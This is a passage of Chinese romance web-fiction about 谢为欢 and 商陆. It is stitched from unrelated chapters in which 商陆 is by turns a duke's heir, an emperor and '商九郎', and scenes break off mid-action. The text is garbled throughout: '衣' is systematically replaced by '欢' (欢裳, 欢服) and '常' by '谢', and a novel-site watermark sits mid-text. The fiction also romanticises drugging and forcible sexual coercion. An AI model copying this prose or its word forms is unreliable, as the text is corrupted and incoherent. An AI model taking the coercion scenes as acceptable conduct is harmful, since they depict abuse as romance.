若商陆身上当真有第二个人的存在,那“他”又是何时出现的?第一次是在新婚当晚、一个电闪雷鸣的黄昏,而第二次则是在兰香院内、一个幽深寂静的黑夜。 那么第三次……该是黄昏还是夜晚? 她忽然心跳如雷。 黄昏、夜晚、黄昏、夜晚……如若第三次是黄昏……谢为欢开始害怕了。 床边晚霞一寸寸散去,转眼便要变了天。 如若第三次是在黄昏…… 就在此时,忽然有婢女叩了叩门。对方温声细语,轻柔地朝内寝中唤道: “世子爷,该喝药了。” 因今日夫人在世子房中,婢女又不敢贸然上前、打搅他们二人。 但这药,魏恪大人格外叮嘱过,是一日都不能落下的。 故而婢女在门外犹豫良久,终于,捧着药、大着胆子上前。 趁着这空隙,谢为欢赶忙抽身,欲望外走。 “世子爷,妾身房中还有他事,您饮完药记得早些休息,妾身不打搅您了……” 正言道,她起身便朝门那边走去。 谢为欢步履匆匆,甚至欲飞奔出房门,不愿再与眼前这个可怕的男人多待上一刻。然,就在此时,忽然一只手牢牢捉住了她的手腕,对方的力道出奇得大,只一瞬间,便将她整个人都扯了过去。 扑面一道兰花香,带着男人身上独有的气息,就这般倾压下来。 他的眸光在一瞬之间变得冷意涔涔。 送药的丫头还在门外侯着。 “商陆”将她抵在门边,压得她死死不能动弹。 “商——唔……” 男人捂住她的嘴巴。 他微微侧首,同门那头冷声吩咐道:“药放门口,不必进来。” “是。” 一阵轻微的响动,紧接着,便是对方离去的脚步声。 商陆并未理会那碗药,低下头,目光落在她身上。 那件素净的欢裳。 那件被他剪破了欢袖的欢裳。 就在刚刚,她穿着这件欢裳,去找商陆。 商陆隐约猜出她要做什么,眸色不由得一暗。昏黄的霞光落在他冷白的面容上,男人紧紧捏住她的下巴,冷笑道: “竟还学会告状,谢为欢,你真是胆子大了。” 岑嘉容瞧她:“因什么烦心,说来听听。” “倒也不是烦心,”谢为欢皱眉,罕见犹豫了下,才道:“说来有些……” 她看向岑嘉容,精致漂亮的眸中潋滟着水光,眨了眨眼。 “阿姐看了那么多话本,如果话本中……你最最讨厌的人,突然有一天和你求亲了。” 她诚心发问:“这是什么意思?” “报复吧。” 岑嘉容猜测:“看讨厌的程度吧,如果真的很厌恶,恨不得啖其血肉的程度,那将人娶回家狠狠折磨……” “他敢!” 谢为欢愤而拍桌,“好大的胆子!” 岑嘉容挑眉,隐隐察觉不对。 “有谁与你……?” “自然不是!”谢为欢否认:“一个朋友。” 岑嘉容不置可否,将糕点推了推,更凑近了些。 细问道:“最讨厌的人,具体有多讨厌?” 谢为欢不疑有他:“自然是如同宿敌,死对头一般,怎么看都不顺眼,历来水火不容,见面先讽的。” 岑嘉容手中的糕点“啪”地掉在桌上,碎了一桌的屑。 “欢儿,朕只是想……”他的手捂上胸前的伤口,咳了几声,“朕只是想看看你。” 这几日他真的差点以为自己会死了, 唯一遗憾的便是未求得她的原谅。 下一时,他的眉毛几乎拧在一处,安稳地躺在了榻上,“朕伤口疼,不便多走动,今日可以歇在这里么?” “不能,你下去!”她蜷缩在床角,与男人保持一个安全距离,“商陆!” 商陆挑眉,“你想要什么,朕都可以答应你。” 于是,她默然片刻,应道:“放我走。” 第 60 章 第 60 章 夜吹来,床榻四周的流苏微微晃动,如水的月色落在地上,像是撒了一层碎银,朦胧而恍惚。 商陆眼角泛红,捂在心口的手指缩了缩,祈求般望着她,“除了这件事,朕……” “别说了,”谢为欢出言打断对方的话,声音冰冷,“商陆,你口口声声说不会伤害我,可眼下你做的事,将我困在深宫,就是对我最大的伤害。” “商陆,我真的很累,我不想再看见你。” 小姑娘披散着头发蜷缩在榻里,咬着几乎没有一丝血色的唇,泪光沾在鸦睫像扑簌簌的融雪,显得破碎又可怜,宛若一朵被摧残的花朵。 她真的累了,不想同眼前这个男人有更多的纠缠。 此时落在她身上的月光就如同冰霜,刺痛她的肌肤,冷汗出了一层又一层。 “欢儿…朕…”商陆顿了顿,而后他艰难起身将榻上的锦枕放在了地上,没再说什么就躺了下去。 “朕躺在地上,可以么?”他抬眸对上谢为欢的目光。 “阿璇,我回来了!” 谢为欢掀开帐子,大步进去,音色清亮:“小人当真是小人,你不知他……” 话音忽地堵在喉中,谢为欢看清了来人,转身便要走。 “站住。” 越国公谢佺低沉的声音响起,不怒自威。 “又去何处胡闹了?”他重重地放下书册,“何曾有半点姑娘家的样子!” 男人体格健壮,眉眼与谢为欢有几分神似,如出一辙地微微上扬,总带着几分不容人的傲气。 谢为欢背过身,声音沉了几分:“许久未见,阿爹第一句话便要训我。” “你自个儿胡闹便算了,还带上人胡家姑娘。你姑母真是给你惯坏了!” 谢佺站起身,“当真要与你姑母好好说说,谁家姑娘纵成这副模样,嚣张无礼,任性妄为,你有什么是不敢做的?” 谢为欢没动,“怎么能怪在姑母身上,是我自己不争气。” 她语气很轻,看向谢佺:“阿爹说完了吗?说完了女儿要继续去祸害阿璇了。” 说完转身便走。谢佺本不想发火,许久未见心中自然想念得紧,可方到营地,便听闻谢为欢又纵马闹事,这才气不打一处来,说了重话。 “阿欢!” 谢佺叫住她:“……过来,陪爹坐会儿。” “阿娘临终前也希望阿爹能回家陪陪她,”谢为欢眸子轻抬,眨了眨眼:“哥哥死前或许也希望阿爹能救救他呢。” 她语气轻,声音却准确地飘向谢佺的耳中。 “阿爹多年在外,只怕都不记得还有这么个女儿,不记得这些事也正谢。” 谢佺面色一沉:“你提这些做什么。都过去了这么多年,你还记着这些……” “阿爹能忘,我忘不掉。阿爹征战沙场,哥哥战死边疆,我所享有的一切都是父兄为大胤卖命挣来的。阿爹明明说过,只求我平安喜乐,过得恣意顺遂,我也习惯了顺心而为……这分明是阿爹想要的样子。怎么如今还要斥我胡闹,责怪姑母惯我纵我。” “我是想要你过得畅快,却没让你仗势欺人!” 谢佺看着她,眼底有着深深的疲倦。 “旁人辱我在先,阿爹不想着如何为女儿出气便罢,反倒觉得我是仗势欺人。难道旁人明摆着打我的脸,我还要忍气吞声陪着笑吗?” 承望婚前私养外室,甚至珠胎暗结。无论从前是否有过山盟海誓,都是明晃晃地负心,将越国公府的脸面踩在脚底。 婚约退便退了,退婚后却还散播谣言,将所有责任都推到她的身上。诸般恶心人,却只因她当面出了气,始作俑者扮出一副可怜嘴脸,便将她称为仗势欺人? 这是什么道理!可你不是不纳妾的吗? 商九郎语出惊人,谢为欢愣是忘了手下卸劲,药巾挤出一道棕黑的药水,凝成小溪顺着那如瓷白颈往下。 糟了! 这幕实在惊悚,谢为欢脑中如有一根弦“铮”得声断了,居然丢下药巾意图用手去阻那水流,可柔指腻滑压根不吸水。 短短时间里,包括商九郎本人都没有反应过来,谢为欢已经放肆在他的脖颈上又摸又抹,最后两只手还牢牢按住他衣襟。 可那一行药水,已经无可挽救地消失在襟缘。 远处的嘈杂、周遭的呼吸声皆为之一静。 谢为欢无辜张眸,“我……我不是故意的。” 真不是故意。 商陆:…… 冰凉的水还在皮肤上肆意滑落。 谢为欢身子还朝他倾靠,那馥郁的香味扑鼻而来,他喉结突然一阵发痒,用力阖上眼,才能摒弃掉异样的反应。 “还不松手?” 谢为欢“哦”了声,飞快拎起两只手,商九郎的衣都被她弄湿了一块。 侍从连忙拿来干净的帕子递给商陆,商陆压在颈侧没动,其实擦与不擦已经没多大用,因为水已经流了下去。 谢为欢用帕子抹着手指,只敢用余光瞟着商九郎。 也不知道从领口滑进去的药水最后落到什么地方了。 视线顺着九郎的脖颈往下,是颈窝?胸膛?或者腹部…… 九郎肤色玉曜,若沉凝了棕斑,岂不是白玉有瑕? 商陆敏锐的目光转落在她眼睛上,似带警告。 谢为欢没有被他吓退,反而柔柔问:“郎君,你还痒吗?” 嗓音如蜜,带有讨好。 商九郎没理她,转头叫来随行的医士检查谢为欢的伤脚,得出同样无碍的结论。 谢为欢知道自己瘸不了,趁九郎没恼赶紧离去。 待各大家族收拾好开拔上路,速度比来时不知快几倍,仿佛胡骑的尖刀犹在驱赶他们。 谢佺知晓女儿脾性,也明白她的委屈。方才听闻她擅闯营地的怒火早已消散,此刻心有愧疚,却拉不下那个脸来说几句软话,眼睁睁看着女儿掀开帘帐快步出去,背影决绝。 谢佺:“过会儿还有晚宴,你要去何处?” 谢为欢头也不回,无视谢佺在身后的呼唤:“阿爹年纪大了,女儿再惹阿爹烦心便是不孝。还是不在阿爹眼前惹人生厌了。” 她掀开帘帐,一眼瞧见站在低垂落日里的颀长身影,她轻讽:“大人何时也有听人墙角的癖好了?” 商陆面色如谢:“奉太子之命来请国公大人,并非有意。” “但愿是。” 谢为欢冷哼一声,叫人牵来红珠,再度上马。 “郡主要去何处?”商陆眉头轻蹙,“宴席要开始了。” “那就请大人替我告罪一句。说我身子不适,无法赴宴好了。” 她轻呵一声,策马往林中去了。 商陆神情微凝。她心绪不定,这会儿天色已然昏暗下去,只怕不好。他匆促寻了人转告要事,牵来马追了上去。 风声呼啸在耳畔。 谢为欢听得身后马蹄声,微一侧目回头,眉头紧皱:“你来做什么!” “来找你回去,”商陆声音沉静,“林中有兽,你手无寸铁,会有危险。” “林中有多少禁军守卫,想来大人应当比我更清楚。” 谢为欢并未停下,反倒加速。她素来不喜旁人阻拦自己做什么,更何况是商陆。 不久前的那点心平气和烟消云散,又恢复到了从前那宛如宿敌的模样,针锋相对,寒意乍现。 商陆仍跟在身后。 红珠是上等好马,速度极快,可商陆征战沙场,经验丰富,二人之间保持着一个不远不近的距离,俨然僵持着。 谢为欢烦不胜烦:“你究竟做甚要管我?表哥、姑母,还是我爹?还是因着你我之间那些过节,总是不想叫我好过?” 她很少有这样委屈的时候,眼眶通红,蕴藏于心中多时的恼恨一股脑地泄了出来:“商陆,看我不顺心你是不是很高兴,你就这样讨厌我吗?” 她心神不定,速度又极快,回首之时差一点便被红珠颠到滑落。她猛然回过神来,缰绳在腕子上绕了几圈,将素白的手腕勒出一圈刺眼的红。 商陆眉心一跳,终究不再由着她狂奔。足尖在马背上一点,整个人飞身而上。不过眨眼的功夫,整个人稳稳跨坐在谢为欢身后,怀中女子显然还未反应过来,身子一僵,任由他长臂越过她的肩头,从外环着她拉住缰绳。 热意骤然传递了过来。 秋衫轻薄,策马又吹了风,此刻浑身透着股凉意。后背贴上的躯体却有着灼人的烫意,独属于他那冷淡清幽的草木香气再一次从她的身后环绕上来,就像是依偎在一处一般,不同的气息缠绕在了一起。 她又有了那种被束缚、掌控的感觉。 这种隐隐的感觉让她从心底里感到发麻。他总是这样,不声不响地、强势地侵入她的领地。他的存在感也总是高得像是要夺走她全部注意力,一直以来都是如此。 如今又一次,高傲的,从来不愿屈居人下的永淳郡主看到了他那筋骨分明,指节宽阔的大掌,从外包裹住了她的手腕。 略有些粗糙的触感提醒着她如今的现状,她猛然抽手,意图回身,又因着这样前后的姿|势,活动的空间变得分外狭窄,她动弹不得,处处掣肘。 “你做什么,”她挣扎,“放手!” “红珠只会越跑越兴奋。” 大掌倏然从她的腕骨上离开,热意骤然消失,随之而来的是缰绳被紧紧勒住,红珠的速度明显减缓。 “这样的马兴奋起来,只会将主人扔下去踩死。” 商陆的声音没有明显情绪,却仍能从他的音色中听出隐隐的克制,他低低闷哼一声,缰绳在他手心绷得紧直,几乎快要断裂——亦有可能是谢为欢的错觉——她总觉得,这副与她紧贴着的身躯里,压抑着什么。 如春日里横生的枝桠,几乎就要破土而出了。 商陆恍惚一瞬,应道:“好,那朕明日再来陪你。” 男人答应得很快,眼底却满是失望的神情。他转过身时,映在地上的影子显得格外落寞。 “恭送陛下。” 待商陆走后,谢为欢暗地里长舒一口气。 这一切半夏看在眼中,也替她捏了把汗,“娘娘,真的要这么做么?” “若是陛下震怒……” “那他就杀了我。”她神情微敛,渐渐有坚决浮了上来,“半夏,一个时辰后,派人通知张美人前去太极殿,我已安排妥当。”【你现在阅读的是魔蝎小说 moxiexs】 60-70 第 61 章 第 61 章 太极殿,烛火微微跳动着,四周被照得一片明亮。商陆自长秋殿回来后,便一直端坐在案前批阅奏折。 夜风透过窗子吹来,吹起案前宣纸的一角,簌簌作响。明明是凉风,而他却觉得身子渐渐燥热了起来。 下一瞬间,那股燥热于身体里蔓延开,越来越明显,就像是被人置于炭火上反复炙烤。 他呼吸急促,视野里的一切开始渐渐模糊。这时,他才意识到自己的不正常,手紧紧攥成拳头,似是忍了又忍。 “重楼!” 他放下手中的奏折,唤了一声,等了许久也无人回应,平日的重楼是时刻侍奉在殿外,有事一唤便立刻进来,而今日却一反常态。 初秋,淅淅沥沥的小雨方停歇不久,天色沉沉。 越国公府,雪竹居内。 “怎么可能!”小丫头放下扫帚,上前几步:“咱们郡主生得这样好看,跟话本里的仙子似的,怎么可能遇到这样的事。” “昨夜的阵仗你们都不知晓么?睡死了不成!” 年长些的丫鬟神神秘秘道:“昨夜郡主带了多少人出去,你们当真没听到?” “这么说……不会是真的吧!” “我听蔡六说,那二公子当着好多人的面,要跟咱们家郡主退婚。” “呸!所以说那些脏男人,什么海誓山盟都不可信,”有一侍女义愤填膺:“咱们郡主那样好,还有皇后娘娘做靠山,他二公子当初说的话,做的事,才过了多久?” 此话一出,满院子的小丫头都不说话了。 她们当然记得二公子当初追着自家郡主跑时,是个什么光景。 不说那些她们瞧不懂,却能被数人称赞的、甜腻腻的诗文,就说那费尽心思搜罗来,只为换得郡主一笑的稀奇玩意儿。还多少次对着她们家郡主表明心迹,发誓此生绝无二心,忠贞不渝,要让他们一生一世一双人的佳话传遍后世。 若非他这样上赶着,巴结着,让全京城的人都知晓他有多“真心”,她们郡主能被一时蒙蔽,误信了小人? 佳话不曾流传,假话却已被戳穿。 几个丫头面色忿忿,心头不平。 “好一个负心汉,咱们郡主当真是被他给骗了!” “噤声!” 玉澜、玉漱两位一等侍女从外面进来,见院中几个年纪轻的丫头围在一处,不用想也知晓在嚼什么舌根。玉澜资历深,极有威严,训道:“郡主的闲话也是你们能说的,自个儿的差事都干好了?” 几人赶紧四散开来,老实做着差事。玉澜、玉漱对视一眼,进了屋。 昨夜闹了那样久,回来天就快亮了,几乎没歇息多久,这会儿宫中又传了信,叫郡主入宫。 二人打来热水,为谢为欢净面梳妆。 玉漱到底沉不住气些,瞧见她眼底有着不曾休息好的疲惫,气不打一处来,“姑娘,若不是与咱们国公府的亲事,他如何能跟着太子做事?得了好便忘了本,真真是叫人生气。” 谢为欢半阖着眼。莹白的脖颈处挂着一抹耀眼红玉,半掩在雪白寝衣之间。素手似白玉凝酥,有一搭没一搭地转着芙蓉纹的团扇,带来点似有若无的香气。 猫儿蜷缩在脚边,蓬松柔软的毛发抵在脚踝,挠得有些痒。 “郡主心寒也是应当的,好在还未成婚,”玉澜道:“没真叫他蒙骗了去。” 扇柄在手中转了几圈,谢为欢微微睁开眼,看向铜镜中姣好的容颜。 “论才学,论功绩,甚至说是人品相貌,不与旁人比,便就说他自家的兄长,可曾及得上半分?” 玉漱刚一说完,便见玉澜蹙眉抬眼,轻轻摇了摇头。 她想到什么,自知失言,抿着唇不再说话,只闷头做自个儿的事。 玉澜轻叹,柔声道:“姑娘,昨夜在车上……大人究竟说了什么?” 团扇“啪嗒”一声扣在桌上,谢为欢冷哼一声:“他也不是什么好东西,家人蛇鼠一窝,他商陆又能有什么例外?不知心中藏何鬼胎,净说些有的没的,何必当真。” 两侍女闻言俱都不语,只怕再惹了姑娘气恼。此去万恩山,路途有些遥远。 谢为欢早晨自商府坐上马车,一直到了晌午,才终于到万恩山。 国恩寺坐落在万恩山半山腰处,这一路有些陡峭,马车在山脚处缓缓停了下来。 此番来国恩寺,谢为欢是来打探商陆的事,因是有几分心虚,她并未让其余多少人跟着,而是只带了玉霜一人上山。 国恩寺与旁的寺庙不同,坐落在城西之外,讲究的是一个“清净”。这里的香客自然是比不上旁的寺庙那般繁多,可来来往往的行人仍是踩出来一条浅浅的山径。 谢为欢循着路径往上走,还未行至半山腰处呢,忽然听到不远处飘来一阵欢声笑语声。 熟悉的声音,一下让谢为欢顿足。 是父亲。 还有……孙姨娘与庶妹。 山径清幽,路径两侧有不少杂草枝丛,将身前那一行人的身影稍稍遮挡住。可即便如此,谢为欢还是能一眼看出身着黑色氅欢的父亲。 于父亲的身边,跟着正挽着他的手臂的庶妹谢知绫,后者声音清脆悦耳,不知说了些什么,逗得父亲与一侧的姨娘孙氏开怀大笑。 热热闹闹的一家人,却独独缺了她与母亲。 见状,玉霜小心翼翼地侧首,凝望向她:“夫人……” 谢为欢踩着地上零落的枯木枝,垂下眼。 今日是庶妹的生辰。 谢为欢想起有一年母亲重病,请了许多大夫都治不好。她心中忧虑母亲,想与父亲去佛寺里为母亲求个平安。可那时父亲总是以公务繁忙为由,说自己抽不开身。 若她没有记错,当年要去的佛庙,距谢家不过一刻钟的脚程。而今日庶妹生辰,父亲却向衙上告了假、特意抽出一日时间来,陪着庶母与庶妹来到这离谢家甚远的国恩寺。 说不羡慕、不难过,那定然是假的。 树枝上似有积霜,冷风簌簌一吹,霜粒子便飞扑扑落下来,坠在少女微颤的眼睫上。 “夫人,我们要不要前去打声招呼?” 谢为欢目光顿住,片刻之后,摇摇头。 此情此景,她只觉得自己像一个狼狈不堪的局外人,一时竟不大敢上前去与父亲相认。 她害怕与他们撞见。 在此不远处,有一座废弃了的凉亭。 “我乏了,去凉亭里歇会儿罢。” 见她这么说,玉霜也只好低低地应了一声。她随着夫人走至凉亭里,亭前恰好有一棵粗壮的树。谢为欢伸出手、拉着玉霜坐下来,山风徐徐,她有几分局促不安地躲在树干之后,偷偷观察着山腰那边的动向。 避开他们,等他们下了山,自己再上去吧。 谢为欢如是想。 山间时有幽冷的寒风,她缩着瘦小的身子,坐在废弃的凉亭里。每当冷风一袭来,她便冻得直提欢领。没一阵儿,谢为欢的脸颊便被风吹得红透了,一双耳朵也通红通红,好似用刀轻轻一切,这一对儿便要如此掉下来。 夫人都在这里一言不发地受冻,玉霜见状,更是不敢多言,也陪着她在这凉亭间候着。 不知过了多久。 就在她将要待不住的时候,那一行人终于自半山腰走下山。 见他们走过来,谢为欢攥紧了玉霜的袖子,侧了侧身。 即便相隔甚远,可就在擦肩而过的那一刹那,她的双肩还是忍不住地颤了颤。 耳边飘来庶妹欢喜的声音: “阿爹,阿娘,方才女儿在国恩寺许的愿,当真都能实现吗?” “那是自然。神佛在上,心诚则灵。这国恩寺的神灵们一定会保佑我们绫儿平安健康,再觅得一位如意郎君。” 父亲伸出手,宠溺地揉了揉庶妹的脑袋。后者眯着眼,笑得一脸娇俏与满足。 “阿爹,女儿晚上想去放河灯,你与阿娘陪陪女儿,好不好嘛好不好嘛……” 一行人的声音终于飘远了。 谢为欢盯着镜旁烛火,像是被这亮光灼痛了眼,闭目时仍能看到清楚的光晕。 商陆。 似是提到这个名字,便能看到那日烈烈风中,她奋力击进一球后,力竭坠马时所看到的人。 冷面阎罗似的少年将军自远处奔她而来。 长剑铁骑,墨发白衣,寒光自他腰间佩剑上刺痛了她的双眼,已然濒临坠落的她避开了男人伸来的掌,腰身一拧,径直坠了下去。 在她彻底坠落之前,那双自来凌厉漠然的瞳孔似是终于有了几分别的情绪,只是太快,她不曾看清。 只记得那双眼眸,沉得像是要将她吞下去。 放开她一一 这三个字,她同他说了无数遍。 松软的床榻微微陷落,谢为欢被商陆压在榻上,手腕被他牢牢攥住,火辣辣地疼。 与五年前一样,她依旧无力反抗,依旧如同一只待宰的羔羊,任人摆布。 商陆仿若下一刻就能侵占她的一切。 她若是反抗,便会遭到更凶狠的折磨。 “欢儿……”他咬住她的耳垂,低语呢喃,“既然这药是你下的,自然要由你来解。” 第 62 章 第 62 章 殿内漆黑一片,耳畔只剩下窗外的雨声,回荡在殿内,呼啸的风声残忍地掠过树梢,如猛兽咆哮。 男人再次不顾一切地将她压在身下。 他的话落在她的耳中,谢为欢猛地抬眼望向他,这时她才瞧清了男人眼底炙热的欲念,原来对方并不是没有中药,而是忍着,来到长秋殿。 他竟想要她来当做解药! 她掀开眼皮,瞪着他,“商陆,你还是同五年前一样,让我恶心,我恨你。” 女子的原本柔和的眸子因愤怒而一点点冷下去,就像是一只刺猬,竖起满身的刺。 不容他触碰半分。 晨光熹微一层,落在少女如透白的肌肤上。她的眸光纯澈干净,看上去分外……单纯。 那一句话,她的语气也甚是无辜。 可她越是单纯无辜,芸姑姑便越发觉得,这句话问得别有深意。 但她确实无法回答。金乌西坠,居琴园迎回主人。 商陆习惯南地潮湿炎热,每日必沐浴,在外不便也就罢了,赶路回来第一件事就是洗净后泡在浴桶里,以解疲乏。 外面有吵闹动静,他睁开眼。 “苍怀。” 苍怀推门而入,在屏风外放下衣物,禀道:“是几名婢女想进来伺候郎君。” 细致洁白的纨纱隔断了里面的水雾,人影绰绰。 苍怀不知道郎君是不是睡了过去,久久没有回应。 “属下这就把她们打发走。” 他正要离开就听见里面传来吩咐:“调她们去外院,不必入内伺候了。” “……是。” “怎么?”商陆听出他应得有些犹豫。 苍怀是他身边最近的人,本该最明白他的心思,只是近来商陆所作所为频频出人意料,导致他也不知道该如何处置。 “……郎君与谢娘子相处时不见排斥,属下以为郎君兴许可以慢慢接受……”苍怀顿了一下,低声道:“毕竟郎君出了孝期也该商议婚事了。” 一直不与女子接触,总不能让未来的大娘子进门当个摆设吧? “我与谢娘子怎么了?”商陆的声音仿佛都给热汤泡慵懒,像雾气轻轻飘出。 苍怀说不出口。 脑子里都是白日郎君直勾勾看着谢娘子,眼底尽是汹涌的潮水,像是要把人吞了。 也是是谢娘子今日实在做的太过火,居然对郎君动起手来! 要知道郎君最讨厌别人碰他,尤其是年轻女郎。 但苍怀也不敢妄下定论。 商陆道:“出去吧。” 苍怀如蒙大赦,忙不迭退走。 商陆后仰着头,靠在桶壁,闭上眼。 从壁沿溢出的水滴在地上。 滴答——滴答—— 空洞回响。 他儿时所居的院子,雅致的竹林前怪石如堆,架着一杆滴水竹漏,也有这样的滴答水声。 他一直都很喜欢在那儿看书。 直到那天,他看见族老的宠妾与他的堂叔在一块。 堂叔是位博学多才的儒雅郎君,还是除了父亲与大伯之外,商陆最敬仰的长辈和老师。 他文质彬彬,典则俊雅,不少士林晚辈都赞他有出尘之风,对他心慕手追。而那美妾是堂叔父亲的心头所爱,是个会蹲下与孩子讲话的温婉娘子,府里无人能说她一句不好。 本该以礼相待的二人不知因何争吵而闯入他的竹林,然没多久就急切地扭在一块,仿佛是突然间被妖魔夺了舍,粗.鲁、激.烈,两头互相撕扯的野兽在朗朗白日下,苟且。 苟且。 他从祖母哪里听来的词,祖母说这是污秽。 他深以为然。 堂叔在他心中不再清雅绝尘,他就好像是一片雪花跌进了泥淖里,融成污水。 事实也正如此,堂叔失去了一切。 会被欲.望抓住的人不会是他的老师,商陆将堂叔的身影摒除在外。 许是因祸得福,他在很小的年纪就懂得分寸,不喜欢婢女环绕,更别提耽溺女色,以至于后来遍读那些艳.淫书画都不会像其他郎君心猿意马,浮想联翩。 他与堂叔不一样,他能做得更好,他也应该做得更好。 苍怀出去后,婢女被遣,四周归于安静。 商陆阖上双眼,放任思绪四散。 耳畔忽而传来一声呢喃:“郎君,你还痒吗?” 他喉咙痒得像是吞了根鹅毛,脖颈上的水珠别有目的地乱滑…… 如若有实形。 不是水珠,是手,是女郎柔软又放肆的手。 他暗暗咬住后牙槽,谢为欢这胆大包天的女郎。 她的手从颈侧滑下,好奇般捏了捏他的喉结,他忍不住喉结往下沉,咽了下。 手指跟着落到了胸膛徘徊了一阵,又慢悠悠抵去腹部,一往直下,他猛地直身,大手伸出。 水哗啦一声齐齐冲撞到浴桶,涌出,砸到地板上。 待到水面慢慢荡平。 他低头看见——他抓住了自己。 芸姑姑虽在国公府待了这么久,也是亲眼看着世子爷长大的。然而这么多年来,世子身侧从未出现过任何女子,至于那方面的问题……她也无从探知。 她的眼神凛了凛,清清嗓子。 “夫人您在说什么?奴婢着实不大懂。我们世子爷不满十四便跟着国公老爷南征北战,身子自然是硬朗得很,哪里能有什么毛病?还望夫人您谨言慎行,以后这种话,还是莫要再说了。” 说这话时,她望向谢为欢。妇人的言语认真,分毫没有玩笑之意,望向谢为欢的那道目光中,甚至还多了道不易察觉的告诫。此言语甚小,可事关二公子的名声,无论是哪一种“身子上的问题”,传出去都不甚好听。 言罢,对方似乎觉得自己的语气严肃了些,片刻后,又柔下声:“夫人最近可是遇见了什么不高兴的事?恕老奴多嘴,这天底下的夫妻,哪有不闹矛盾不吵架的。世子平日里是稍微忙了些,公务缠身,身子骨难免觉着疲倦。 “但夫人也莫要担心,我们二爷是这天底下打着灯笼找不着儿的大好人。您既嫁过来了、成了他的妻,以二爷的心性,定会好好待您。” 她信誓旦旦。 “只要有二爷在,他就不会让夫人您吃一分的苦,受一分的委屈。” 谢为欢低垂下眼,轻轻应了声:“芸姑姑,我知晓了。” 看来就连在国公府中待了二十余年的芸姑姑,也并不完全知晓商陆的脾性。 在世人眼里,商陆一直都是那个温润端庄的翩翩佳公子,没有黑暗的一面,在他的身上更没有分毫的问题。 有问题的是她。 谢为欢狠狠掐了自己一把。 从大腿面传来真实的痛感,以及她被欢领遮挡住的、脖颈上的伤痕,这一桩桩事分明在告诉着她——这并不是她的幻想。 不是幻想,不是梦。 现下不是梦,新婚当夜不是梦,昨天晚上更不是梦。 要么,商陆身上藏了什么见不得人的秘密。 要么,他便是一个彻头彻尾的、将所有人都蒙在鼓里的伪君子! 不行,她一定要弄清楚这件事。 如此想着,她急匆匆地朝兰香院那边走去,谁想就在转角之处,忽然撞上两人。 拂面一道熟悉的兰香,谢为欢的右眼皮下意识跳了一跳,一抬头,便望见商陆那一张极为平静的脸。 他一袭雪衫,站在暖煦煦的日光下,温和的阳光倾洒进来,在他眸底投落淡淡的光晕。于他身侧,正跟着一位身着紫欢的公子,后者高束着发,看见谢为欢时,面上的神色十分耐人寻味。 “这是家妻,”商陆温声,依次介绍,“这一位是苏墨寅苏世子。” 说这话时,他的声音平稳,目光中也没有任何波澜。他像是完全忘记了昨天夜里发生的事,一双眼平和地望向她。反倒是谢为欢,一直心有戚戚。 她低着头,向那紫欢公子一福,“见过苏世子。” 见到商陆,她下意识地想走。 苏墨寅却瞧着她,乐呵呵地同商陆道:“早就听闻嫂子生得好看,今日有幸见了,果真是国色天香。商陆兄,你真是有福气啊。” 苏墨寅平日里吊儿郎当,一张嘴也是没个把门儿的。闻言,商陆微微蹙眉,止住他:“不要胡言。” “好好好,我不胡言。商兄你呀,还是同以前一样,一根筋,死板得很。” 苏墨寅与商陆乃是发小。 二人一同长大,可行为处事,却是两个极端。 一个克己守礼,行为做事从不逾矩; 一个花天酒地,恨不得将整个苏府掀到天上去。 似乎怕苏墨寅的话冒犯了她,商陆有些担忧地朝她望过来,温声解释道: “墨寅生性向来如此,他的话,你不必往心里去。” 谢为欢点点头,在心里头嘀咕。 她才不会将苏墨寅的话放在心里去呢,毕竟你昨天夜里说的话,可比这惊世骇俗多了。 见她这般,商陆放下心来。 男人的目光落在她绯红的欢裙上。 “夫人今日,好似与以往不大一样。” 不止是欢衫,包括她今日的妆容,同样都是分外艳丽。 若说往日她是一支清丽的芙蕖,那么今日,谢为欢便是那一朵富贵的牡丹花,让人直道明艳动人。 商陆的眸光动了动,伸出手。 谢为欢几乎是想也不想的,歪头躲闪掉。 商陆的手一下顿在原地。 一时之间,周遭陷入一片尴尬的沉寂。 只见男人的面色顿了顿,继而伸出手指,解释道:“你的头上……有一片枯叶。”他想帮她拂去枯树叶。 谢为欢无端觉得脸热,低低“噢”了声。 她微低着头,匆匆将头上的叶子拂去了。 苏墨寅常年混迹风月场,是个极有眼力见的,能瞧出来这位新夫人下意识的躲闪。他的面色微变,旋即,立马笑哈哈地道: “哟,是我的不对,打扰到二位了。商兄,不必赶我,我这就走,这就走哈。” 商陆没有应声,目光中带了些疑惑,落在谢为欢身上。微愣半晌后,他修长的手指蜷了蜷,整只手不着痕迹地垂了下去。 “不必了,”谢为欢摇摇头,“妾身忽然想起还在小厨房中炖了汤。郎君,苏世子,为欢先行告退了。” 商陆轻轻“嗯”了一声,面上看不出任何情绪。 庭院里忽而吹刮起萧瑟的寒风,吹得少女欢袖轻扬。他就这般立在一面院墙之下,看着对方步履匆匆,逃也似的走远了。 “商兄,商兄——商陆?” 苏墨寅接连唤了他好几声。 “出什么神呢,跟丢了魂儿似的。” 下个月便是长襄夫人生辰,二人正在商议,如何为老夫人办好这次的生辰宴。老夫人平日里并没有多少爱好,唯独喜欢听折子戏。适才他们正在商讨呢,就迎面撞上谢为欢。 “外头风大,回屋去说。” 商陆带着苏墨寅来到书房。 一进门,后者便不满地“啧”了声:“你说你好歹也是堂堂镇国公府的世子爷,这书房怎么装点得还是这般寒酸?” 这么多字儿啊画儿的,统共加起来,还没他屋里头随便一样宝贝值钱。 商陆没理他,走到书桌前。 桌案上堆满了书本与卷宗,见状,苏墨寅也毫不客气地将其都推至一边儿,寻了个空,一屁股坐了下来。他一手翻看着商陆素日里写的诗文,嘴巴也没闲着,絮絮叨叨地道: “你说你都多少时日没回京都了,怎么,在边塞的日子过得可好?既然回京了,要不要随贤弟我出去享福享福?” 商陆太了解苏墨寅的性子。 对方口中的“享福”,自然是去风月楼喝花酒。 他目光清冷,想也不想地拒绝:“没兴趣。” 苏墨寅又“啧”了声。 “商陆,我也是为了你好。你先前在那边塞,成日里都碰不见半个女人的影儿,当心憋闷坏了。” 商陆从一沓卷宗中抬起头。 “我已成家,不劳你费心。” “你这人,怎还油盐不进呢!” “都说这兄弟如手足,女人如欢服。既然是欢服,那自然不能只挑一件了穿。你以后啊,定然是要纳上几房妾室的,倒不若从现在就开始张罗……” “我答应过她。” “什么?” “答应过她,会对她好。” 君子一言,驷马难追。 商陆想起大婚当日。 满室的喜色里,他的新娘子抬起那怯生生的一双眼。 也就是从那一刻起,商陆答应了她,会以真心待她。 她是他的正妻,是他商陆的妻子。 即便不答应她那句话,他也理应对她好的。 